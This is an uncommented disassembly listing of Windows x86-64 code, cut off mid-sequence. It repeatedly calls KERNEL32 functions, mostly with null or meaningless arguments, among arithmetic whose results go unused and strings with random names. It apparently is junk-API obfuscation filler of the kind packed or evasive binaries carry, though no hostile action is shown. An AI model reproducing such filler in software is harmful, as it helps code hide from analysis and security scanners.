call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.fdo_am
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb3c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rsp + 0xadd8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x9930]
mov qword [rsp + 0xb3c8], rax
movsx eax, byte [rsp + 0x18b]
movsx ecx, byte [rsp + 0x124]
sub eax, ecx
mov byte [rsp + 0x153], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0x9ed0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1130]
add eax, ecx
mov word [rsp + 0x668], ax
mov rax, qword [rsp + 0xb158]
mov rcx, qword [rsp + 0x9fa8]
mov eax, dword [rax]
imul eax, dword [rcx]
mov rcx, qword [rsp + 0xb2b0]
mov dword [rcx], eax
lea rcx, [rsp + 0x1aa38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.4r7VEoglH7Mq2BkH3pa
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb3d0], rax
movzx ecx, word [rsp + 0x132c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13c0], ax
lea rdx, [rsp + 0x9ba0]
mov rcx, qword [rsp + 0x9bd8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4e38], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rcx, qword [rsp + 0xb280]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xaf10]
movzx eax, byte [rax]
mov byte [0x14024f0fc], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
movzx eax, word [rsp + 0x7a0]
mov rcx, qword [rsp + 0x9858]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xab40]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb3d8], rax
lea rax, [rsp + 0x1098]
mov qword [rsp + 0xb3e0], rax
lea rcx, [rsp + 0xab80]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov edx, 0x10fa
mov rcx, qword [rsp + 0xa460]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4e2c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov eax, dword [rsp + 0x4378]
mov ecx, dword [rsp + 0x485c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c48], eax
movzx eax, byte [rsp + 0x2b2]
mov byte [rsp + 0x2cc], al
mov rax, qword [rsp + 0x9e00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa8b0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x294], al
lea rcx, [0x14023367c]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1474], ax
mov rax, qword [rsp + 0xb068]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4b98]
sar eax, cl
mov rcx, qword [rsp + 0xb170]
mov dword [rcx], eax
lea rcx, [rsp + 0x98e8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
lea rax, [rsp + 0xa24]
mov qword [rsp + 0xb3e8], rax
movzx ecx, word [rsp + 0x12e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1044], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.GDZBRaGBcWU9oGr
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb3f0], rax
mov rax, qword [rsp + 0x7f10]
mov rcx, qword [rsp + 0xb270]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8328], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa148], rax
movzx ecx, word [rsp + 0x11e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1478], ax
mov r9d, 1
lea r8, [rsp + 0x9278]
mov rdx, qword [rsp + 0x96f0]
mov rcx, qword [rsp + 0xafe0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c54], eax
lea rcx, [rsp + 0x21c00]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4e3c], eax
mov rax, qword [rsp + 0x99b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x910]
add eax, ecx
mov word [0x14024f2a2], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x97a0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0xa6e0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4e40], eax
mov eax, dword [rsp + 0x4290]
mov dword [rsp + 0x4e44], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rcx, [rsp + 0x21780]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4a64], eax
mov rax, qword [0x14024f2c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2bc], al
mov rax, qword [rsp + 0xa128]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8868]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa7e0], rax
mov rax, qword [rsp + 0x9ff0]
mov rcx, qword [rsp + 0xa808]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x86c8], rax
movzx ecx, word [rsp + 0x1358]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x147c], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa190], rax
mov rax, qword [rsp + 0xac60]
mov ecx, dword [rsp + 0x4764]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d30], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea rdx, [rsp + 0x9c90]
mov rcx, qword [rsp + 0xa788]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4e48], eax
lea rcx, [rsp + 0x1a5e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x238]
mov qword [rsp + 0xb3f8], rax
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9fb0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x105c], ax
mov r9d, 1
lea r8, [rsp + 0xa118]
mov rdx, qword [rsp + 0xb400]
mov rcx, qword [rsp + 0xb3f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x48f0], eax
movzx ecx, word [rsp + 0x1108]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10f8], ax
movzx eax, word [rsp + 0xf2c]
mov word [rsp + 0x1480], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov eax, dword [rsp + 0x464c]
mov ecx, dword [rsp + 0x4b30]
add ecx, eax
mov eax, ecx
mov dword [0x14022fb78], eax
lea rcx, [rsp + 0xb408]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, byte [0x14022133e]
movzx ecx, byte [rsp + 0x2a9]
add eax, ecx
mov byte [rsp + 0x26a], al
mov edx, 0x11cd
mov rcx, qword [rsp + 0x9e30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49bc], eax
mov rax, qword [rsp + 0xb1d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8118], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.LN_azmuMVbNPd9tB_bt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb410], rax
movzx ecx, word [rsp + 0x1108]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1294], ax
movzx ecx, word [rsp + 0x12f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1484], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0xa728]
mov rcx, qword [rsp + 0xae00]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7e78], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov dword [rsp + 0x20], 0x26f1
mov r9d, 0x445
mov r8d, 0x369a
mov edx, 0x489
mov rcx, qword [rsp + 0xa788]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4940], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb418], rax
mov eax, dword [rsp + 0x46a0]
mov ecx, dword [rsp + 0x474c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa5f8]
mov dword [rcx], eax
lea rax, [rsp + 0x278]
mov qword [rsp + 0xb420], rax
mov rcx, qword [rsp + 0xaf80]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4af0], eax
mov eax, dword [0x14022fb68]
movzx ecx, al
mov eax, dword [rsp + 0x4b28]
sar eax, cl
mov rcx, qword [rsp + 0x9b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa2b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe70]
xor eax, ecx
mov rcx, qword [rsp + 0xa208]
mov word [rcx], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea rax, [rsp + 0x26b]
mov qword [rsp + 0xb428], rax
mov rcx, qword [rsp + 0xa840]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4e4c], eax
mov rcx, qword [rsp + 0xa480]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0xa110]
mov rcx, qword [rsp + 0xa418]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4dd4], eax
movzx eax, word [rsp + 0xde4]
movzx ecx, word [rsp + 0x11dc]
shl eax, cl
mov word [0x14022fbc8], ax
mov rax, qword [rsp + 0x9b50]
mov rcx, qword [rsp + 0x9df0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9de8]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa1c8]
mov rax, qword [rax]
mov qword [rsp + 0xb430], rax
mov rax, qword [rsp + 0xabb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1468]
and eax, ecx
mov word [rsp + 0x1390], ax
movzx eax, byte [rsp + 0x28c]
movzx ecx, byte [rsp + 0x170]
imul eax, ecx
mov byte [rsp + 0x26f], al
lea rax, [rsp + 0xe3c]
mov qword [rsp + 0xb438], rax
mov eax, dword [rsp + 0x4380]
mov ecx, dword [0x14022fb68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4884], eax
lea rdx, [rsp + 0xa090]
mov rcx, qword [rsp + 0x9b58]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4918], eax
lea rax, [rsp + 0x1e1]
mov qword [rsp + 0xb440], rax
mov rax, qword [rsp + 0xaac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4774]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d98]
mov dword [rcx], eax
lea rcx, str.myEV_0o
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x13e8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0xa090]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [rsp + 0x2c8]
mov rcx, qword [rsp + 0xabe0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14024f290]
mov byte [rcx], al
movzx ecx, word [rsp + 0x11a4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13bc], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb448], rax
lea rax, [rsp + 0xe98]
mov qword [rsp + 0xb450], rax
mov r9d, 2
lea r8, [rsp + 0xad38]
mov rdx, qword [rsp + 0xa6f0]
mov rcx, qword [rsp + 0x97c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x498c], eax
mov r9d, 0x12b6
xor r8d, r8d
lea rdx, [rsp + 0xb448]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4e50], eax
mov eax, dword [rsp + 0x4880]
mov ecx, dword [rsp + 0x464c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x49b0], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0xa470]
mov rcx, qword [rsp + 0x9f28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x85c8], rax
mov rax, qword [rsp + 0xa438]
mov rcx, qword [rsp + 0x8828]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7e20], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb030], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb458], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9558], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
movsx eax, word [rsp + 0x1360]
mov rcx, qword [rsp + 0xb200]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf74], ax
mov rax, qword [rsp + 0xa930]
mov eax, dword [rax]
mov dword [rsp + 0x4e54], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa640], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xae60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb1e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb2], al
xor r9d, r9d
lea r8, [rsp + 0xa7f8]
mov rdx, qword [rsp + 0x9ee0]
mov rcx, qword [rsp + 0x9798]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4db4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1a7f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
movzx eax, word [0x14022fb94]
movzx ecx, word [rsp + 0x1038]
cdq
idiv ecx
mov rcx, qword [rsp + 0x9780]
mov word [rcx], ax
lea rcx, [rsp + 0xafd0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x210c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4e58], eax
mov rax, qword [rsp + 0xace0]
mov eax, dword [rax]
mov dword [0x14024f0f8], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
lea rdx, [rsp + 0xa6f0]
mov rcx, qword [rsp + 0xa560]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4cac], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb460], rax
mov qword [rsp + 0x20], 0
mov r9d, 0xf65
mov r8d, 0x2c4d
mov edx, 0x21
mov rcx, qword [rsp + 0xa5a0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4b44], eax
mov rax, qword [rsp + 0xab00]
mov qword [rsp + 0xb468], rax
movzx ecx, word [rsp + 0x10a0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1248], ax
mov rax, qword [rsp + 0xa750]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb3a0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x29f], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x9000]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa2f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8180]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x81d0], rax
lea rcx, [rsp + 0x1a678]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x99b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff0]
sar eax, cl
mov word [rsp + 0xbd4], ax
lea rcx, [rsp + 0xa580]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [0x14024f3bc]
movsx ecx, word [rsp + 0x1130]
shl eax, cl
mov word [rsp + 0xf48], ax
lea rcx, str.ok9o_MzqVuB_YM6StVQ_GGkUvo
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1488], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
movzx eax, byte [rsp + 0x288]
mov byte [rsp + 0x2cd], al
movzx ecx, word [rsp + 0x10dc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1330], ax
mov rax, qword [rsp + 0xa998]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cd8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ab8], eax
lea rax, [rsp + 0x41a0]
mov qword [rsp + 0xb470], rax
mov rax, qword [rsp + 0x9ed8]
movzx eax, byte [rax]
imul eax, eax, 0xbd
mov byte [0x14022103f], al
mov rax, qword [rsp + 0x9f28]
mov rcx, qword [rsp + 0xa498]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa158]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb020]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x285], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
lea r8, [rsp + 0x9a58]
mov rdx, qword [rsp + 0xad98]
mov rcx, qword [rsp + 0x9fb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c7c], eax
lea rax, [rsp + 0x4b30]
mov qword [rsp + 0xb478], rax
mov dword [rsp + 0x20], 0x149b
mov r9d, 0x3f61
mov r8d, 0x3ff
mov edx, 0x305c
mov rcx, qword [rsp + 0xa5e8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4e5c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rax, qword [rsp + 0xa618]
movzx eax, word [rax]
mov rcx, qword [0x14024f210]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1208], ax
mov rax, qword [rsp + 0xa478]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ef0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x25b], al
mov rcx, qword [rsp + 0x9f90]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
imul eax, dword [rsp + 0x4ca8], 0x5a607ff
mov dword [rsp + 0x4b9c], eax
movzx eax, word [rsp + 0x13b4]
mov word [rsp + 0x148c], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [rsp + 0x8658]
mov rcx, qword [rsp + 0x8b08]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb3c8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x17c]
movzx ecx, byte [rsp + 0x28f]
add eax, ecx
mov byte [rsp + 0x170], al
lea rax, [rsp + 0x6ec]
mov qword [0x14024f0f0], rax
lea rax, [rsp + 0x4dd0]
mov qword [rsp + 0xb480], rax
lea rcx, [rsp + 0x1a468]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9ff0]
mov rcx, qword [rsp + 0xa158]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9df0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb488], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
lea rcx, [rsp + 0xa7f8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rcx, str.mtFoqNx_xkbuXx_Ca
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1490], ax
mov rax, qword [rsp + 0x7c88]
mov qword [rsp + 0xb490], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e20], rax
movsx eax, byte [rsp + 0x2a7]
mov rcx, qword [rsp + 0x93d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa600]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0x9c00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4668], eax
mov rax, qword [rsp + 0xa360]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xae30]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x8c4], ax
mov rax, qword [rsp + 0xb060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x20e]
or eax, ecx
mov byte [rsp + 0x2c6], al
lea rax, [rsp + 0x1038]
mov qword [rsp + 0xb498], rax
mov eax, dword [rsp + 0x4b1c]
movzx ecx, al
mov eax, dword [rsp + 0x4d04]
shr eax, cl
mov rcx, qword [0x14024f258]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9cc8], rax
mov rax, qword [rsp + 0x9aa0]
cqo
mov rcx, qword [rsp + 0xa3a0]
idiv qword [rcx]
mov qword [rsp + 0x8120], rax
mov rax, qword [0x14024f3c0]
mov rcx, qword [rsp + 0x91f0]
mov qword [rsp + 0xb4a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb4a0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9e10]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rax, qword [rsp + 0xb128]
movzx eax, word [rax]
mov word [rsp + 0x1494], ax
movsx eax, word [rsp + 0x13d8]
mov rcx, qword [rsp + 0xa798]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x142c], ax
lea rax, [rsp + 0x2a2]
mov qword [rsp + 0xb4a8], rax
mov rax, qword [rsp + 0xace8]
mov rax, qword [rax]
imul rax, qword [rsp + 0xa848]
mov qword [rsp + 0x9930], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x4d30]
mov ecx, dword [rsp + 0x4644]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x42dc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
lea rax, [0x14024f24c]
mov qword [rsp + 0xb4b0], rax
mov rcx, qword [rsp + 0xa810]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x2a5]
mov qword [0x14024f0e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
lea rcx, [rsp + 0x21540]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4e60], eax
mov rax, qword [rsp + 0xaff8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a38]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9ed8]
mov byte [rcx], al
movzx ecx, word [rsp + 0x1358]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1470], ax
lea rax, [rsp + 0x4440]
mov qword [rsp + 0xb4b8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
lea rcx, [rsp + 0x1a768]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xa8f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xafe8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa618]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb4c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9880], rax
movzx ecx, word [rsp + 0x1334]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x133c], ax
mov rax, qword [rsp + 0x9dd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4898]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4150], eax
lea rcx, str.eoJIFZg_aXZ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1498], ax
mov rax, qword [rsp + 0x8ef0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa568]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x250], al
mov dword [rsp + 0x20], 0x158
mov r9d, 0x1501
mov r8d, 0x3c2b
mov edx, 0x103f
mov rcx, qword [rsp + 0xb130]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4e38], eax
movsx eax, word [rsp + 0x1360]
movsx ecx, word [rsp + 0xf54]
and eax, ecx
mov word [rsp + 0x9dc], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x97f8], rax
movzx eax, byte [rsp + 0x257]
mov byte [rsp + 0x2ce], al
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x21420]
